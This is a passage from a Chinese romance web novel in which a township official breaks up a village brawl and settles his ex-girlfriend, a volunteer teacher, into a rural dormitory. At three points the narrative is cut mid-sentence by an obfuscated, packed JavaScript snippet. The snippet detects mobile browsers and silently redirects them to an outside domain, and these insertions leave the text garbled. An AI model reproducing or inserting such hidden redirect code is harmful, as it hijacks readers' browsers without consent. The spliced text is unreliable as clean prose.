“我付过了。”周覆伸手拦住她,“没看你吃多少饭,饱了没有?” 程江雪擦了擦嘴,拿上包:“饱了。” 周覆不放心地问:“真饱还是假饱?这里可没有外卖,晚上饿了只能吃点零食,我先提醒你一句。” 刚从省里下来的时候,他也适应不了这样生活,一入了夜,这里静得就像被人为摁下了暂停键,每晚耳边响起的,就只有短促而空旷的鸟啼虫鸣。 “是真的饱了。”程江雪打心眼里嫌他啰嗦,脱口道,“我把肚子剖开来......” ......给你看看好不好? 末尾的话被她囫囵咽进肚子里,这太像撒娇了。 程江雪大拇指的指甲盖向内一翻,掐了下掌心,醒醒吧你。 周覆镇定地扬了下车钥匙:“不用开膛破肚,搞得那么隆重,走吧。” “......” 到车边时,程江雪仍一把拉开了后座,坐上去。 周覆看了她一眼,无声垂下清黑的眼眉。 程江雪也没有说话,撑着头看车窗外。 傍晚清晰可见的连绵山峦,此刻只剩一道浓淡相间的墨色剪影,萧索而磅礴地卧在天边。 “这里晚上没有路灯吗?”她攀着车窗问。 今晚云层厚,月光被吞噬殆尽,也没了傍晚时“日暮春山绿”的意境,风吹过草木深处,传出一阵哗哗声,只剩骇人的寂静。 周覆不紧不慢地说:“目前还没有,不过明亮工程的款已经批下来了,也签了合同,电力部门过几天就会来安装。但是,不管有没有路灯,你一个女孩子,晚上都最好别出门,知道吗?” 他是对的。 爸妈也是这么交代她的。 程江雪下意识地想说——“知道了”。 像过去一样,拿出她最乖巧的样子,连睫毛垂下时都是柔顺的弧度。 但想了想,还是没什么感情的噢了句。 车子行驶在两旁的松树影里,还没开上桥,大约距离镇政府半里远的地方,一阵激烈的嘶吼和肢体碰撞声,打破了这份黑夜里的宁静。 周覆皱了一下眉,缓缓地踩下刹车。 “他们好像在打架。”程江雪没见过这种阵势,声音有些抖,“你死我活的。” 车灯尽头,三四个年轻男人扭打在一起,他们身材都很壮实,力气大得出奇,满脸涨红,不断发出粗重的喘息声,像一群发了怒的野牛,手死死地箍着对方的腰,脚下使绊,都试图把对方掀翻在地。 周覆半眯起眼睛,稍作判断后,拿起手机打出去:“是我,桥头有村民聚众斗殴,赶紧派几个人过来,我先在这里维持秩序。” 他停好车,解开安全带,扭头对程江雪说:“前面情况复杂,你坐在车上不要动,我去看看就来。” “哎。”程江雪蹙着眉喊他,“周覆。” 她环视了一圈周围,黑得让人心慌,让她一个人在这儿待着,那要等多久啊? “怎么了?”周覆已经下了车,扶着车门,弯下腰来问她。 程江雪开了窗,手指攥在门把手上:“我......我.......” 她一副小心惶恐的模样,眼神如风中乱飞的柳絮,找不到落脚点,迷茫地在他脸上打转。 这才有那么几分像过去的程江雪了。 估计是害怕,周覆的身体朝她倾下来,低下头:“别怕,我很快就回来。” 他的音量很轻,没有刻意营造出的低沉,也不是故作温柔,就是平日里再沉稳不过的声气,带着类似于玉石的冷质感,和夜风一起拂过她的耳畔,投下细微的涟漪。 “嗯,你也别......”程江雪不敢和他对视,细小的飞虫在暗夜里朝车内扑来,眼前雾蒙蒙一片,说话也慢了半拍,等周覆快步走开了,她才自言自语般,补上了后半句,“......别伤着自己了啊。” 她话音没落,就听见周覆大声喊:“干什么!都住手!” 旁边有群众认出他,也帮着劝:“不要打了,乡政府的周委员来了,不想进派出所你们就别打了。” 但这样也没什么效果,打架的那几个已经红了眼,今天非要分出个输赢。 周覆观察了十来秒,打小拉架的经验让他没有贸然加入缠斗的漩涡,而是看准了时机,趁着那个喊得最凶的男人被击中肋下的瞬间,猛地一个箭步上前,强健的手臂插入了两人当中,用力向外推了他一把。 眼看对方摔到在地,他厉声喝了句:“王得富,你又在搞什么名堂!” 剩下的人也配合,在周覆拉开王得富的同时,将其余几个也各自架走。 王得富看见周覆,一下子胆怯了许多,撑着从地上爬起来,也不敢再纵上去,脸一撇,用力吐出口血水。他说:“周委员,你怎么不说他们?明明是他们的错。” “数你是个刺头,喊的声儿最大,我就说你!”周覆的手搭在胯上,刚才那一下子让他手臂发酸,吐气沉重,“我问你,打架能解决什么问题,啊!” 村支书闻讯赶了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102594|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,递给周覆一瓶水,他抬手拒了。 程江雪在车里看着,也悄然松了一口气,吊起来的心落了地。 视线里,周覆沉下脸,锐利的目光扫了眼另外两个受伤的男人。 他指着常常闹事的小王:“说!这次又为了什么事?” 王得富脸上的蛮劲退下去,慢慢化为不甘和委屈,蓦地喊起来:“周委员,您是大知识分子,您评评理,我就去城里打了几个月的工,珍玉居然要嫁给白大勇了,这到底是怎么回事!我不打他,难道还要去打珍玉!” 镇里最近正抓乡风文明建设,就怕出这样治安事件。 听完,他扭过脖子看村支书:“王得富说的是实情?” “这......村会计家里的事情,我也不太清楚。”当着这么多人,村支书并未多言,摇头赔笑。 程江雪站在树下,听着村民们交头接耳的议论,也听出了个大概。 吴珍玉是村委会吴会计的女儿,也是吴校长的侄女,半年前和王得富订了亲,最近不知听了什么风声,她爸爸又有把她说给白大勇的意思了,两家人走动得很勤。 就快娶进门的媳妇儿,一眨眼被别的男人抢了去,王得富哪里还坐得住? 周覆厘不清这些家长里短,只教训说:“那也不能靠拳头来抢,你赢了这场仗,小吴就能嫁给你了吗?有这种好事,我今天高兴打一架,明天不高兴也打一架,谁他妈都不用打光棍了!你小子起这种头,想让镇上的维/稳工作评比得倒数是不是?” 挺严肃的气氛,忽然周覆这么一讲,大家轰地笑了。 程江雪也忍不住低头,噗嗤了一句。 萨特说,存在先于本质。 但即便是在存在主义学说中,也认为个人的人格核心特质构成选择的底色和边界。 不管过去多少年,社会身份和立场发生了何种变化,周覆也还是那个周覆。 眼神清亮又带着傲气,温和的笑容里掺了几分野,像一阵抓不住的风,规矩束缚于他,如一扫即破的蛛网。 派出所的人赶来后,把带头打架的那几个通通带上了车。 工作人员们大声吆喝:“散了散了,该干什么干什么去,大晚上别总聚在一起,人一多就容易出事。” 刘所长客气地给周覆派烟:“今天谢谢了,周委员。” “没事,带回去好好劝一劝,有什么纠纷及时解决。”周覆礼貌性地接了。 刘所长站在他身边,比近一米九的他矮了一大截,勾不着他的肩膀,只能捏一下小臂说:“看不出啊,人挺瘦的,劲儿这么大,这王得富吧,连我都不敢近他的身,你把他给撂地上了?” 周覆掐着烟信口胡诌:“嗐,我小时候也混,总是和人约着打架,不总结经验不行。” 程江雪一听就知道是瞎扯,他是出了名的好脾气,还没有过不喜欢他的人,和谁都兄弟似的。 刘所长也笑:“得了,早点回去休息,耽误你时间了。” “说这话就见外了,我们迎检的时候没少找你帮忙。”周覆摆了摆手。 他看了眼程江雪,刚才打开车窗时进了几只蚊虫,她坐得歪歪扭扭,头和身子不在一条直线了,正全神贯注地躲避着,两条细白胳膊娇气地蛇来蛇去,唯恐被叮出一个半个的包。 周覆笑着指了下车:“我是得走了,还带着白水中学的支教老师,先把她送回去。” “你忙,慢点开啊。”刘所长招手说,“改天我请你喝酒。” “好说。” 周覆重新上了车,一张小脸被头顶的灯照得发白,丁点血色也没有。 他问:“被这场面吓到了?” 程江雪不在状态,迟愣地“啊”了一声。 看她这样,他半真半假地开玩笑:“表情有点懵啊,总不是在担心我吧?” 这回听清了,程江雪抬起下巴看他:“不容易。” 周覆反问:“你说谁不容易?” 她慢慢露出个微笑:“当然是你呀,年纪这么大了,自我感觉还能这么好,少见。” “......” 5.再见 第五章 回去的路上,为了缓解尴尬,程江雪问:“刚才那个叫什么富的,好像很怕你。” 在她看来,这算得上新鲜事。 读大学的时候,不论男女,提起周学长来,或佩服或欣赏或仰慕,没有人会怵他。 “也不叫怕吧。”周覆一只手扶了方向盘,“我刚到镇上的时候,他就主动找我反映情况,他们家呢,也确实符合建档立卡贫困户的条件,他这人是莽撞了一点,但很重义气。” 原来是感激。 程江雪低头不响。 车从大门开进去,周覆绕到宿舍楼后,熄了火。 “到了。”他温柔出声,“下车吧。” 程江雪推开车门,怕他就这么走了,提醒道:“那个......我的行李还在后面,开一下后备箱吧。” “没忘,你站着别动,我来拿。”周覆说。 她想拿也拿不起呀。 就算要逞强,也得考虑一下自身条件。 老沉的一个箱子,周覆提下来,放在水泥地上,盖上后备箱问:“你那么点力气也弄不上楼,我给你送上去。” 他好人做到底,那还有什么可说的。 程江雪细声:“嗯,谢谢。还有,晚饭多少钱,我发给你,我们一人一半。” “吃顿饭而已,这么点钱你也至于?”周覆皱着眉问她。 程江雪坚持:“至于。毕竟不是从前了。” “原来你还知道从前。”周覆轻嗤了声。 风停了,夏日的黑夜已深浓,连树木的影子都坚实笨重,他清亮的眼睛浮动在夜色里,消隐了笑意。 程江雪一脸认真的表情:“我只知道我们现在什么关系也没有,不好白吃你的东西。” “随你。”清凉的空气里,周覆站在车边看着她,忽然笑了,“但你不是把我拉黑了吗?还发得了?” 只顾着撇清关系,她怎么把这一出给忘了? 分手的时候,她拉黑了周覆一切的联系方式,完全违背了爸爸教给她处世原则中最重要的一条——“君子绝交,不出恶语”。 但那会儿只顾宣泄自己的负面情绪,管不了那么多。 就像越王勾践伐吴时命三军皆穿白衣,仿佛不做出点什么极端行为以表决心,就无法达到哀兵必胜的目的。 后来她读研,又在一本杂书里读到一句话,讲“欲与人绝,言中恶语,非无情,惧悔也”,她的眼眶霎时热了,似乎隔着泛黄的单薄书页,和古人共情了一场。 说来说去,撂狠话也好,断绝往来也好,不过就是周覆太难忘。 而她生怕自己后悔。 程江雪愣了几秒,笑着往回找补:“过去年纪小,做事情比较冲动,其实有什么必要呢,分个手而已,不用搞得这么僵的,我这就把您加回来。” 说的真好啊。 设身处地,婉转迂回,俨然一个心智成熟的大人。 周覆笑得如长辈宽宏:“真是长大了。” “那我扫你吧。” 主动表态后,总要有相应的配套动作,才好显得她轻舟已过,能心平气和地把他当个老朋友相处,剪断了那些枝枝节节。 加完微信,程江雪就收起了手机。 “走吧,我们住在三楼,你是楼梯左手边第二间。”周覆指了下上面。 程江雪疑惑地重复:“我们?” 身后浸着无边黑夜,周覆一只手搭在拉杆上,拘着几分浪荡的笑:“对,我们,有什么问题吗?” “镇里的宿舍......就这么几间呀?”程江雪慢吞吞地说。 周覆笔直站着,鼻息间逸出半声气音,语重心长:“二小姐,你也看见了,这栋楼还不到四层高,住着全镇的干部呢。咱们俩又是最后来的,指望谁给你腾屋子?要不然你吹个哨,让大家都下来站好队,你去挑,看着哪儿满意就住哪儿,成吗?” 程江雪扬眉望向他,有些生气地说:“我什么时候说不满意了?” “你的脸上写满了抗拒。”周覆笑得无奈又宠溺,“放心,就算你想,镇里也不会安排我们住一间,怕什么。” “你在说什么,谁会想和你住一间?”程江雪瞳孔一震,都已经上了一层台阶,立刻回过头说。 周覆像是才了解情况:“哦,程老师不想和我住一间。” 程江雪抓着扶手,大声强调:“当然!” 居然说得出这种话,年纪越大越不要脸了呢。 才说过她像大人,这么快原形毕露。 像被她吓到,周覆的食指摁了摁耳屏:“小点声,别的同事还没休息,以为我拿你怎么样了,对我名声不好。” “......” 到了三楼,程江雪拿着吴校长给她的钥匙,开了那扇半旧的红漆木门。 一股混合着灰尘、旧木头和淡蚊香的味道扑面而来,格局简单到一眼望尽。 大概十来个平方的粗糙地面,有些地方被脚步打磨得泛光,靠里墙的正中,稳当地放着一张单人铁架床,不少地方已经露出深褐色的锈迹。 房间早就整理过了,洗漱用品和床单被套都是新布置的,应该是学校那边的意思。 只不过床铺得不厚,硬邦邦的床板上,一张略显简薄的垫子。 周覆把箱子推进她房间,简单介绍了下:“这是栋老楼,设施没有那么新,洗手间和浴室都在外面,楼道里有感应灯,你半夜出来先喊一嗓子,刚才那音量就行,一准儿能亮。” 他的语调里,有京城人士讲话一贯的散漫和诙谐。 “......好。”程江雪说。 真的很难忍住不对他翻白眼。 周覆还要交代两句别的。 被程江雪用一个很甜,但也很假的笑容打断:“谢谢你帮我的忙,周委员,天色不早,您可以回去休息了。” 哇,现在真是懂事。 帮她卖了半天力,连杯水也没捞着喝,一没了利用价值,立马就被轰走了。 周覆愣了两秒,无奈点头:“睡觉之前,你记得把......” “晚安。”但程江雪根本不想听完。 眼看再不走她要赶人了。 周覆抬了下手:“好,你早点睡。” 他也懒得再唠叨,让这小姑娘自己去折腾。 这个晚上,要是她叫他少于两次,就算她行事稳重,生活基本能自理了。 周覆走后,程江雪转过身打量了一下,床的左侧有一扇窗户,简单的老式木框结构,窗下摆着一张磨损严重的三屉桌,桌面上什么也没有。 窗外月色昏淡,唧唧的叫声从墙根下传来,细密而悠长,像有人不知疲倦摇着无形的纺车,一缕未散尽的炊烟,从低矮的烟囱里飘出来,随即又被浓夜吞噬。 暗黄灯光下,空气中浮动着细微的尘土。 程江雪的手挡在鼻尖处扇了扇。 还好,来之前她做足了心理建设,眼前的一切尚未突破这个范畴,都能接受。 起码不像顾季桐吓她的那样,说你就大胆去吧,厕所很有可能盖在猪圈里,日常要对着一群猪撩裙子。 程江雪拍了下床。 看着硬,摸起来更硬。 想睡得舒服得话,她得量好尺寸,去买一张厚实点的床垫,镇上估计没的卖,必须搭车去趟县城。 其他的都能克服,程江雪最怕休息不好,会整天神色恹恹。 舟车劳顿一天,连站也站不直了,她把手往后绕,揉了揉发酸的后腰。 她四处望了望,从桌子底下拖出个小矮凳,上面蒙了厚厚的一层灰。 程江雪用两根手指拈着,尽量少一些接触面积,又抽了张纸,把灰抹干净之后才敢坐。 她把凳子放在行李箱旁边,给周覆转了两百块钱,并注明——“多的算劳务费。” 发完扔掉手机,重重地叹了两口对生活的怨气后,程江雪开始拣东西。 来之前,她花了两天的时间列清单,把能想到的突发状况,兴许会用到的物件都装上了,以防万一,她连速效救心丸都带了。 要是刚上初中的小男生特别能气人呢? 但现在看起来,用来防备隔壁的前男友好像更切实际。 一件件码好衣服后,她把护肤品拿出来,抱在怀里,眼睛在各个角落扫射一遍,实在没什么好地方,最后只能放在桌子上,凑合当梳妆台。 铺完床单,套好枕头以后,程江雪体力告罄,她扶着床边的栏杆,气喘吁吁地擦汗。 平时在家里,她连油瓶倒了都没扶过,冷不丁干这么多活儿,脑子里只有一个念头——劳动人民伟大又光荣。 歇够了,程江雪抽出一条睡裙,拿上沐浴露和洗发水,准备去外面冲个澡。 除了上大学,她还没有在公共卫生间洗澡的经历。 没法子,就当是又体验了一回集体生活吧。 出去后没几步,就是周委员的房间了。 他敞着门,拿后背朝向这边,长身立在窗台旁。 树冠浓密如盖的阴影中,周覆沉默悒郁地抽着烟,手指不时弹一弹烟灰,袖口边缘晕开鹅黄的光。 程江雪的脚步像长在了他门口,迈不动。 明明手里的东西很重,也迫不及待要洗掉这一身的疲惫,但她就是想再多看几眼。 好像从喜欢上他开始,她就习惯了对着他的影子出神。 这是程江雪为他们划分出的安全结界,是她在感情世界里构筑起来的,不必担心坍塌的城池,是她的青春里最熟悉,也最安心的告白仪式。 她也曾告诫自己,不要再看了,但越试图控制自己的视线,就越忍不住望一望他。 后来她读到陀思妥耶夫斯基在《冬天记的夏天印象》中写过的一个概念——“试着给自己定这样的任务:不要去想一头北极熊,然后你就会发现,接下来的每分每秒,你的脑海中都会浮现出那头北极熊。” 周覆就是这头该死的、可怕的熊。 人们奋力地压抑某一种念头,这个念头反而更顽固地盘踞在意识里。 这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106387|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,程江雪总是命令自己忘记他,但教学楼后那棵高大的梧桐,那些个落雨的日子,都在讲述着她对他史无前例的着迷。 那一年的秋天,周覆也是这副表情,坐在离她数步之遥的位置上,微侧着头,凝神读一本厚重古老的哲学书。 院中的树叶承接着无数密集的敲打,耳边的沙沙声仿佛永远也不会停,像今夜的蝉鸣。 她的目光掠过他蹙起的眉头,又落在他握着书页的指节上,随着他翻动时手腕的弧度而动,他俊朗的模样深深镌刻在她的心里,比她之前之后见过的风景都更牢固,更清晰。 而这些,都是她真真切切爱过他的印记。 分手后她总是在想,要是这段心事没有宣之于口就好了。 要是从来没遇见过他,就再好不过了。 程江雪愣了好长一会儿,直到察觉他快要转头,才匆匆离开。 公共浴室就在走廊的尽头,很好找。 一共两间,各贴了一张大大的男和女,高度近视都能看得清。 程江雪认为很有必要,这可走错不得啊。 要是哪天一不注意,没关门呢? 她进去时,旁边那扇门是闭着的,水打在瓷砖上,传出噗哒噗哒的声音,还有其他的人在洗。 虽然隔着一道墙,不知男女,但程江雪还是别扭,总觉得哪里怪怪的,索性退出来等了会儿。 没几分钟,一个年轻人走出来,斯斯文文,看上去也就三十左右,眼镜上涂了层热气,发梢还往下滴着水。 “小美女,以前没见过你啊,哪个口子新来的?”他和人打招呼也自然,看上去性格十分外向。 弄得程江雪都有点反应不过来,硬挤出个笑容:“是啊,我叫程江雪,来白水中学支教的,吴校长让我住这儿,你好。” 男人扶了扶眼镜,在看清她的长相后,眼前一亮,不住地点头:“你好你好,我是于涛。怪不得前两天吴校长来收拾房间呢,原来是为了安顿这么漂亮的女老师,江城人吧?” 程江雪尴尬地应了声:“是,那个......我很累了,先去洗澡。” “去吧,我不耽误你时间了。”于涛笑眯眯地说,仍不由自主地小声称赞着,“好看,皮肤真白,江城的小姑娘,说话也柔。” 这人热情过头了吧? 程江雪没再看他,大力关上了浴室的门。 而于涛的目光还停留在门缝处,手里拿着脸盆,不知道脑子里在想象什么画面,边笑边倒着往后退。 咚,不防撞上了一个坚硬的胸膛。 于涛摸了摸后脑勺,有些气恼地回过头,刚想骂过去,在看见周覆这张脸时,又亮出了笑容:“周委员好,从市里回来了啊。” 安静的走廊上,周覆站着没有动,眼眸微垂,一只手夹着没抽完的烟,冷眼审视着他,细瘦的白烟从他指间绕过。 于涛察觉到他和往日不同,可又没有什么挂在脸上可供参考的表情。 今天他去交材料,而自己在办公室坐了一天,应该没有哪里惹到他吧? 他疑惑的当口,周覆才终于掐了烟,镇定出声:“于涛,听说你和你女朋友快结婚了,她在县城上班?” 为什么突然问起这个? 人就怕起歪心邪念,更怕一起了大逆不道的念头,就立刻被人揭穿。 于涛下意识地望了望浴室,又对他笑:“对,结婚的时候我给大伙儿发请柬,委员到时候一定来喝喜酒,我先回去了。” 周覆的目光孤僻又冷清,没说话,也没点头。 别看周委员随和,但冷着脸寡言少语起来,也另有一番威势。 于涛心内不安地绕过了他。 这一站就是半晌,周覆也不晓得自己为什么要在这里守着。 像个一根筋的中世纪骑士,不等到城堡里的公主出来,不确认她身边的恶龙被除尽,就不罢休。 程江雪洗得很快,一来地方逼仄,她根本转不开身,二则,她还不习惯在外面洗澡,哪怕关着门,但到底是公共场合,谁知道下一分钟会不会来人催,洗也洗不安稳。 她随手用毛巾包了头发,胡乱塞好换下来的衣服,穿上睡裙出去。 匆忙走了几步,抬眼,一道高大的人影挡在面前,吓她一跳。 见是周覆,程江雪一只手捂在头上,细眉一挑:“你干嘛?” “......等着洗澡。”周覆指了指里面。 程江雪更迷惑了,甚至怀疑地往后看了眼:“又没人,你排什么队?” 周覆哦了声,把只手斜插进兜里:“你知道的,我一向最讲礼貌,不可能贸然进去。” “......” 程江雪眨了下眼,一脸看嫌犯的表情,侧着身子从他身边过去,避之唯恐不及。 身后“嘭”的一声,小程老师大力合上,并反锁了房门。 周覆仍站在原地,低头笑了下。 哪里有什么骑士啊,也太肯给自己抬身价了。 在程江雪眼里,分明他才是那条恶龙。 6.再见 第六章 山里的潮气在夜半时分返了上来,雾蒙蒙一片。 程江雪吹干头发后,坐在桌子前抹护肤品,顺便给妈妈打视频。 “小囡,你一个人住那儿,不怕吧?”江枝意隔着屏幕问。 程江雪抓了抓手臂上被叮出的红包:“不怕,再说我又不是一个人,这栋楼里住了很多年轻干部,除了要出门洗澡上厕所,其他都还好。” 不过蚊子实在太多,刚才她去浸个衣服的功夫,就在水池边被咬了好几口。 学校也提前考虑到了,已经准备了蚊香在抽屉里,一会儿她就点上。 江枝意仍忧心地说:“自己照顾好自己,晚上就别出门了,你个女孩子不安全,有什么事白天办,听见了吗?” “我不出门,妈妈。”程江雪说,“我准备搽完面霜就睡了,今天好累。” 江枝意嗯了一声,又问:“床呢?床能睡习惯吗?” 手机被夺走,屏幕里霍然出现程院长的脸,他说:“毕竟是在农村,你指望她和在家一样舒服是不可能的,只能尽量克服困难。支教嘛,其中很重要的一项考核,就是适应环境。” “妈妈,床是有点硬的,不过不要紧,晚两天我去买个床垫,能睡舒服点儿。”程江雪揉着脸颊说。 江枝意心疼宝贝女儿,可人都走了,又不好再说她,只能柔声责怪起丈夫:“还学院里一把手呢,你说你有什么用呀,当醋不酸,当盐不咸的,女儿去支教都不知道,等快出发了才得到消息。” 程秋塘又换了一副样子,把太太的肩扶过来,认错道:“是是是,这都是我的错,我给你赔罪......” 打个视频,无端被塞了一嘴的狗粮,程江雪默默挂掉了。 她搓热手心,往脸上抹了两泵精华。 就这么一会儿,耳边又嗡来好几只蚊子,程江雪偏头躲了,但脖子上没防住,还是被吸了一管血,痒得难受。 她收起精华,弯下腰去掰开紧紧缠在一起的两片蚊香。 由于缺乏经验,掰断了不说,还弄了一手脏兮兮的黑灰,去都去不掉。 程江雪顾不上,随手抽张纸擦了擦,捏着半截子蚊香,到处找打火机。 后来实在没办法,她只好去敲隔壁的门,周覆那儿一定有。 就是这么晚了,程江雪怕打扰他,更怕产生误会。 可除了他以外,镇子里她一个人都还没见过,怎么好去借东西? 光解释自己是谁都要花上半天功夫,累死了。 她硬着头皮去了,敲了三下后,里面传来清朗一声疑问——“哪位?” “是我。”程江雪确信他能听出自己的声音,打算直接说出来意,“周覆,我想问你......” 但周覆却懒洋洋地打断:“你是谁?” 存心的吧他。 还能有谁? 山里的女鬼。 她咬着后槽牙,字正腔圆地说:“程、江、雪。” “哦,是小程老师啊,稍等一下。”周覆说。 “......好的。” 等了不到半分钟,门从里面打开,程江雪一抬头,正对上半具白花花的身体,他只穿了条运动裤,上面什么也没有。 程江雪一时间都收不回目光,眼珠子像拓在他紧实的胸膛和肋骨肌理上,又顺着人鱼线没入裤腰的阴影里。 他的皮肤是冷白调,像常年不见日光的岩洞里养出来的,泛着青瓷的釉色,有着胶片照片一样的颗粒感。 月头隐去的夏夜里,一点鲜艳的红晕,从程江雪的眉心透到耳根处。 还好她洗澡之前就取掉了Apple Watch,要不然因为心跳过快震动起来,还真说不清爽。 她不敢再看,低着头说:“你怎么不穿衣服啊?” “刚洗完澡你就来敲门了,哪儿来得及啊?”周覆一脸无辜地解释,“再说,程老师都报上大名了,这不是怕怠慢你,紧着来给开门吗?” 程江雪眨了下睫毛,目光捎过即便在松弛状态下也很惊人的部位:“哦,我想问你借个打火机,点......点蚊香。” 周覆看着她手里的东西,笑说:“光有蚊香没有打火机?” 什么意思? 觉得她是找了个借口来看他,还特地挑他洗完澡之后来是吧? 程江雪语速飞快地说明:“蚊香不是我准备的,但房间里蚊子实在太多,可能帮忙布置的人也很忙,一时忘记了。” “忘记了就忘记了。”周覆无谓地勾了勾唇,仿佛默认了她在欲盖弥彰,“说上那么一大堆有的没的,等着。” 不是你非要问的吗? 他转身后,程江雪狠狠地剜了眼他的背影。 周覆很快折过身,递了个蓝色的打火机给她:“给,点了这玩意儿的话,窗子别全关死,留一道通风的口子。” “知道,谢谢。”程江雪接了,又匆匆跑回房间。 她手里拎着这么片救命稻草,爬到床上,在悬着的蚊帐四周熏了一遍,确定里面没有可疑生物后,迅速把蚊帐压在了垫被下,防止睡觉的时候被偷袭。 程江雪把蚊香放在脚边,又掩上门出去洗了个手。 房间里没有浴室很不方便,动不动就得往外跑。 洗完澡到现在,她一直都没喝上水,看着自来水哗哗流,还真有点渴了。 但程江雪四处搜了搜,屋子里连个烧水壶也没有,更别提矿泉水了。 可外面天这么黑,别说没有商店开门,就算有她也不敢去呀,妈妈才交代不要摸黑外出。 程江雪撑着桌子,闭了会儿眼,为了维持生命体征平稳,决定再去叨扰周学长。 谁叫她在这里只认识他呢。 但这次她有了正经理由,还打火机呀。 于是,一分钟后,程江雪又出现在了周覆门口。 她手里举着他的东西,笑得很客气:“谢谢你了,物归原主。” 又过了这么久,周覆已经换了一件黑T,看上去准备睡了,浓黑的额发散落下来,比白天年轻了好几岁。 程江雪看着他,像又回到了学生时代,她总能在人群里一眼注意到他,挺拔干净,带着少年人独有的俊秀,如同一棵沉静的白杨树。 周覆垂着眼,没接:“送你了,一个打火机而已,你明天就不点蚊香了?” “那......那当然也要。”程江雪卡了下壳,抿着唇,视线从他手臂下方穿过去,在屋子里扫来扫去。 一看就是在寻找目标。 还东西是假,再借才是真的。 周覆笑了下:“还差什么,程老师直说。” “水,矿泉水。”估计是渴坏了,程江雪蓦地仰起脸,小猫一样伸出一点点舌头,舔了舔自己的唇,委屈地撅起来,“我好渴,刚才上来前光顾着看人打架,忘记买了。” 她语调里有股埋怨人的娇气,和过去太像了,仿佛她今夜喝不上水都是怪他。 但他自以为是地把过去全都错过了。 要是真在怪他就好了,他还可以把人抱到怀里来哄。 周覆一下子说不出话。 他转过身,从墙角的储物柜里摸出三四瓶水,一股脑塞给她。 周覆也没心思再讲笑,严肃地说:“这些今晚喝应该够了,多了你也拿不下,明天我放一箱到你那儿,再让办公室拿个烧水壶来。” 程江雪没听出他忽然之间软弱下来的语气。 她抱着那几瓶水,依旧拒绝:“不用,明天我自己会解决,今晚什么都没准备,已经麻烦你很多了。谢谢,晚安。” 说完程江雪就走了。 周覆站在门口,心情不比阳台外黝黑的夜轻松多少。 听见隔壁没了动静,周覆也转身回去,关上了门。 放在床头的手机充满了电,他习惯性地检查一遍政务平台,看明天是否要开会。 确认没有遗漏的通知后,周覆又点开了微信,他们这一批派下来的人建了个群,这么晚了,还有人在抱怨工作量大,每天都有处理不完的杂事。 农村工作就是这样,因地域广阔,村民居住分散,资源整合难度大,产业极其依赖自然条件,基层的治理能力又有参差,就算是切实可行又收益客观的项目,落实下来,也常因当地条件而大打折扣,需要干部们投入时间和心血。 来之前的动员大会上,领导们反复强调,在这场脱贫攻坚的艰苦战役里,既要解决眼前的民生问题,也要规划产业人才等长远支撑,任重道远。 周覆站在床头,对着和程江雪的聊天框出神几秒。 劳务费? 好一个闻所未闻的名目。 真把他当苦力了。 她的头像变了,换成了宋代仕女敲键盘的手绘图,不再是他们一起养的蓝银丝和尚鹦鹉,上大学的时候,和谁聊天都顶着颗毛茸茸、圆滚滚的小鸡脑袋。 点进去看,朋友圈里只有一条内容,来自两个月前,是和她哥哥程江阳的合影,两个人紧密挨坐在草地上,清浅的笑意浮在眉梢间。 周覆又点了出来。 收了这笔转账,他给她退回去一半,发了句语音:「要不了这么多,我的体力没那么值钱。」 他的调子很平,顺着听筒传出去,没有一点起伏。 程江雪躺在床上听完,才放松舒展的脚趾又紧张地蜷动一下。 不知道又在玩什么欲扬先抑的把戏,但她不想再来来回回地跟他纠缠了。 程江雪收了钱,缓缓打出两个字:「也对。」 看得周覆哽了一阵,把手机丢到了旁边。 关了灯,云开雾散后,月光从蚊帐的沙孔里透进来,在程江雪脸上映出细密的光斑。 山上气温低,身下的竹席透着沁骨的凉,大热的天,连风扇都不用开。 程江雪闭上眼,在心里默默盘算着,要买的不止床垫和鹅绒枕头,还有大包的酒精棉片、电排插、净饮机和化妆镜...... 哦,还得加一个除螨仪,这里太潮了,晒被子又不方便,日常要用紫外线杀菌。 倦意涌上来,她渐渐地进入梦乡,身体变作一支顺水而下的竹篙,很快睡着。 两日后开了学,吴校长在第一天的升旗仪式上,向孩子们隆重介绍了程江雪和李峥,致词是他亲手写的,演讲时他全程脱稿,虽然是千部一腔的感谢,话却说得令人动容。 李峥这么个寡言的小伙子,也忍不住把手伸进镜框里,偷抹了两下眼尾。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113924|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程江雪站在主席台上,往人群里望去,都不用细细数,就知道男孩子的数量远比女孩儿多。 这种感觉,在她第一脚踏入班级时,又得到了一次升华。 她抱着课本和教案推开初一(2)班的教室门,老化的门轴发出一声悠长的吟叹,三十多颗小脑袋不约而同地抬起来,目光盯在她身上。 刚上初中的孩子,脸上稚气未脱,眼睛嵌在暗黄的皮肤上,如同散落在果盘上的龙眼核,黑沉透亮。 